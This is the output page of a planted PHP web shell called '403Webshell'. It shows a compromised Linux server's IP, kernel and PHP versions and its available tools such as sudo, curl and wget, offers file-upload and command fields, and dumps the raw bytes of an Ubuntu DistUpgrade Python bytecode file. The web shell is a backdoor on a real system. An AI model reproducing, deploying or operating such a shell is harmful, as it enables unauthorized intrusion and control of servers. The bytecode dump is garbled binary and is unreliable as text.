403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/DistUpgrade/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/DistUpgrade/__pycache__/DistUpgradeMain.cpython-314.pyc
+
�[�i"#���^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RIHt^RI	H
t
^RIHt.ROt^RI
HtRtRtRtR	tR
tRtR#)
�N)�datetime)�OptionParser)�gettext)�DistUpgradeConfigc	��\4pVPRRR\R4R7VPRRR\R	4R7VPR
RRR
\R4R7VPRR
R\R4R7VPRRR\R4R7VPRR
RR\R4R7VP4#)z.setup option parser and parse the commandline z
--frontend�frontendNz_Use frontend. Currently available: 
DistUpgradeViewText, DistUpgradeViewGtk, DistUpgradeViewKDE)�dest�default�helpz--mode�mode�desktopz(*DEPRECATED* this option will be ignoredz	--partial�partialF�
store_truez:Perform a partial upgrade only (no sources.list rewriting))r	r
�actionrz--disable-gnu-screenzDisable GNU screen support)rr
rz	--datadir�datadir�.zSet datadirz--devel-release�
devel_releasez"Upgrade to the development release)rr	r
r)r�
add_option�_�
parse_args)�parsers �=/usr/lib/python3/dist-packages/DistUpgrade/DistUpgradeMain.py�do_commandliner5s���
�^�F�
���l��D��[�\��]����h�V�I��G�H��J�
���k�	�5�)��Y�Z��\����,�\�#��9�:��<����k�	�3��]�+��-�
���'��*�E��A�B��D������c
��VPRRR4p\PPV4'g\P!V4\
P
!VR,4'Ed\P!4pVRVPVPVPVPVP3,,p\PPV4'g\P!V4\
P
!VR,4FUp\P!V\PPV\PP!V444KW	\PPVR4pVP"'d
VR,
p\%VR4;_uu_4R	R	R	4\&P(!\&P*VR
RR7\&P,!R
VP.,4\&P,!RRP\P0!44,4\2P4P7R	4pVR,P8P:p\&P,!RV,4\&P,!R\<P>,4V# +'giEL%;i)zsetup the logging �Files�LogDirz/var/log/dist-upgrade/z/*.logz/%04i%02i%02i-%02i%02izmain.logz.partial�aNz%%(asctime)s %(levelname)s %(message)s�w)�level�filename�format�filemodezUsing config files '%s'zuname information: '%s'� �aptzapt version: '%s'zpython version: '%s') �getWithDefault�os�path�exists�mkdir�globr�now�year�month�day�hour�minute�shutil�move�join�basenamer�open�logging�basicConfig�DEBUG�info�config_files�unamer%�apt_pkg�Cache�current_ver�ver_str�sys�version)	�options�config�logdirr,�
backup_dir�f�fname�cache�apt_versions	&&       r�
setup_loggingrKJs���
�
"�
"�7�8�4L�
M�F�
�7�7�>�>�&�!�!�
������y�y����!�!��l�l�n���4�������3�7�7�SV�S[�S[�\_�\f�\f�7g�g�g�
��w�w�~�~�j�)�)��H�H�Z� ����6�(�?�+�A��K�K��2�7�7�<�<�
�2�7�7�3C�3C�A�3F�G�H�,��G�G�L�L��
�+�E�����
����	
�e�S�	�	��
����g�m�m�!&�F�!$�&��L�L�*�V�-@�-@�@�A��L�L�*�S�X�X�b�h�h�j�-A�A�B��K�K���d�#�E���,�*�*�2�2�K��L�L�$�{�2�3��L�L�'�#�+�+�5�6��M�
�	�	�s�K-�-K>	c��^RIHp\
PPTR4p\P!RT,4\
P!^64pT!4pTPRTRRR7\
P!T4\P!R	R
.\PRR7P4^,p\\
PPTR4R
4;_uu_4pTP!T4RRR4R# \d\P!R4R#i;i +'giR#;i \"d)p\P!RT,4Rp?R#Rp?ii;i)r)�AptClonezfailed to import AptCloneNzapt-clone_system_state.tar.gzzcreating statefile: '%s'�/T)�	sourcedir�target�with_dpkg_status�
scrub_sources�lspciz-nn��stdout�universal_newlinesz	lspci.txtrzlspci failed: %s)�	apt_clonerM�ImportErrorr7�errorr'r(r4�debug�umask�
save_state�
subprocess�Popen�PIPE�communicater6�write�OSError)rErMrP�	old_umask�clone�srG�es&       r�save_system_statergks)���&��W�W�\�\�&�"A�
B�F��M�M�,�v�5�6����� �I��J�E�	���s�6�D�����H�H�Y��.�
�
�
�G�E�?�:�?�?�.2�4�4?�K�M�!�E��
�"�'�'�,�,�v�{�3�S�
9�
9�Q�
�G�G�A�J�:�
9��#���
�
�1�2����":�
9�
9���.��
�
�(�1�,�-�-��.�sH�D�A0E�>E�E�!D?�>D?�E	�
E�E�F	�!F�F	c	���VP.VPRR4,FCpV'gK
^RIHpV!RV,R4p\	WS4pV!W P
R7pV#	\P!R4\R4\P!^4X# \d?p\P!RT:RT:R24\R	T:R
T:R24Rp?K�Rp?ii;i)
z/setup view based on the config and commandline �View)�
import_moduler�DistUpgrade)rErzcan't import view 'z' (�)zcan't load z (Nz!No view can be imported, aborting)
r�getlist�	importlibrj�getattrr�	Exceptionr7�warning�printrYrA�exit)	rCrDrE�requested_viewrj�
view_modul�
view_class�instancerfs	&&&      r�
setup_viewrx�s���#�+�+�,�V�^�^�F�6�-J�J�J����	>�/�&�s�>�'9�=�I�J�!��<�J�!����I�H���O�)K�"	�
�
�9�:�
�1�2�������O���	>��O�O�^�A�N�O��.�!�<�=�=��	>�s�4B%�%C.�03C)�)C.c�L�Rp\P!RR.\PRR7P4^,p\P
!RV,4Y9d3\P!R	4\P!R
RRRR
T.4R\PR&RRRRRRT.\P,p\P!RT,4\P!R
T4R# \d\P!R4R#i;i)zpcheck if there is a upgrade already running inside gnu screen,
if so, reattach
if not, create new screen window
z$ubuntu-release-upgrade-screen-window�screenz-lsTrTzscreen returned: '%s'zscreen could not be runNz)found active screen session, re-attachingz/usr/bin/screenz-dz-rz-p�1�RELEASE_UPGRADER_NO_SCREENz-ez\0\0z-c�screenrcz-Szre-exec inside screen: '%s')
r]r^r_r`r7rZrbr:r'�execv�environrA�argv)�
SCREENNAME�out�cmds   r�%run_new_gnu_screen_window_or_reattachr��s���
8�J�����
�e��Z�_�_�#�%�%0�[�]�1�6��	�
�
�-��3�4�
�����@�A�
���"�h��d�D�*�%M�N�-0�B�J�J�+�,���������!�X�X�&�C��L�L�.��4�5��H�H�
��$��%�����.�/���s�AC>�>!D#�"D#c��\4wr\VP4p\W4p^RIHp\P!RV,4\P!R4VPeVPR8XdK\PP\P!4R4p\P!RV4\WV4pVP 'd2R\P"9gVP$'g\'4\P(!R4'gR\P"R&^R	IHpV!W`VPR
7pVP,'dCVP/4'g\0P2!^4\0P2!^4\5V4VP74'd^#^#)zmain method )�VERSIONz%release-upgrader version '%s' startedzubuntu-release-upgraderr�mor|�NEEDRESTART_SUSPEND�y)�DistUpgradeController)r)rrrrK�DistUpgradeVersionr�r7r:r�
textdomainr'r(r4�getcwd�bindtextdomainrx�needs_screenr�disable_gnu_screenr��getenvr�r�doPartialUpgraderArsrg�run)	rC�argsrDrEr��	localedir�viewr��apps	         r�mainr��sE��%�&�O�W�
�w���
/�F�
�7�
+�F�+��L�L�8�7�B�C����0�1�����'�/�/�S�"8��G�G�L�L�����d�3�	����8�)�D��g�v�.�D�	
����(�B�J�J�6��&�&�&�-�/��9�9�*�+�+�,/��
�
�(�)�<�
��w���
G�C������#�#�%�%��H�H�Q�K�������f���w�w�y�y��r)
z/binz/bootz/etcz/initrdz/libz/lib32z/lib64z/sbinz/usrz/var)r%rr+r7r'r2r]rAr�optparserr�SYSTEM_DIRS�DistUpgradeConfigParserrrrKrgrxr�r��rr�<module>r�sT��,����	�
��
��!� �
��7��*�B.�4�4%�B-
r

Youez - 2016 - github.com/yon3zu
LinuXploit